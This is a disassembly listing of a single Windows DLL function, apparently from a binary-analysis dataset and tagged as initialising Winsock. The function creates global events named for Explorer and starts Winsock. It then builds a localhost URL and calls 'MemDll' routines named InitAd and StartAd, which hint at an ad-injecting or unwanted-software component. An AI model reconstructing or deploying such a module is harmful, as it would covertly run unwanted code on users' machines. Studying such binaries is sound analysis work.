Function at 0x1000cc50
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1002fc01
mov eax, dword fs:[0]
push eax
sub esp, 0x3e8
mov eax, dword [0x1003a1c0]
xor eax, esp
mov dword [esp + 0x3e0], eax
push ebx
push esi
push edi
mov eax, dword [0x1003a1c0]
xor eax, esp
push eax
lea eax, [esp + 0x3f8]
mov dword fs:[0], eax
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x3e8
mov ebx, ecx
call edi
push 0x1ff
xor esi, esi
lea eax, [esp + 0x1f1]
push esi
push eax
mov byte [esp + 0x1f8], 0
call fcn.10020580
mov edx, dword [0x1003c4ec]
add esp, 0xc
push 0x104
lea ecx, [esp + 0x1f0]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x1ec]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.GlobalEXPLORERYZSTARTMEM
push esi
push esi
push esi
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push str.GlobalEXPLORERYZSTOPMEM
push esi
push esi
push esi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push eax
mov dword [ebx + 4], eax
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
lea ecx, [esp + 0x5c]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x3e8
call edi
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], esi
mov byte [esp + 0x44], 0
push str.explorerusername
push 0x2727
lea edx, [esp + 0x1f4]
mov dword [esp + 0x408], esi
push str.http:__127.0.0.1:_d__s
push edx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
call fcn.1001dee2
add esp, 0x10
lea eax, [esp + 0x40]
push eax
lea edx, [esp + 0x1f0]
lea ecx, [esp + 0x20]
call fcn.1000e3e0
cmp dword [esp + 0x58], 0x10
mov eax, dword [esp + 0x44]
jae 0x1000cd8e
lea eax, [esp + 0x44]
push eax
call sym.MemDll.DLL_InitAd
call sym.MemDll.DLL_StartAd
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetEvent]
lea edx, [esp + 0x10]
lea edi, [ebx + 0x44]
push edx
mov byte [esp + 0x14], 0x5c
call fcn.10006860
cmp eax, esi
jle 0x1000ce48
add eax, 1
push eax
xor ecx, ecx
lea esi, [esp + 0x28]
mov edx, edi
mov dword [esp + 0x18], eax
call fcn.100062d0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebx + 0x28]
mov byte [esp + 0x40c], 1
call fcn.10006680
mov byte [esp + 0x400], 0
cmp dword [esp + 0x3c], 0x10
jb 0x1000ce04
mov eax, dword [esp + 0x28]
push eax
call fcn.1001dad4
add esp, 4
mov ecx, dword [esp + 0x14]
push 0xffffffffffffffff
lea esi, [esp + 0x28]
mov edx, edi
call fcn.100062d0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebx + 0xc]
mov byte [esp + 0x40c], 2
call fcn.10006680
mov byte [esp + 0x400], 0
cmp dword [esp + 0x3c], 0x10
jb 0x1000ce46
mov ecx, dword [esp + 0x28]
push ecx
call fcn.1001dad4
add esp, 4
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov edi, edi
mov edx, dword [ebx + 4]
push 0x2bf20
push edx
call edi
test eax, eax
jne 0x1000ce50
call sym.MemDll.DLL_StopAd
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebx + 4]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push eax
call edi
mov ecx, dword [ebx + 8]
push ecx
mov dword [ebx + 4], esi
call edi
mov edx, dword [esp + 0x18]
push edx
mov dword [ebx + 8], esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
cmp dword [esp + 0x58], 0x10
jb 0x1000cea1
mov eax, dword [esp + 0x44]
push eax
call fcn.1001dad4
add esp, 4
mov ecx, dword [esp + 0x3f8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.1001e327
mov esp, ebp
pop ebp
ret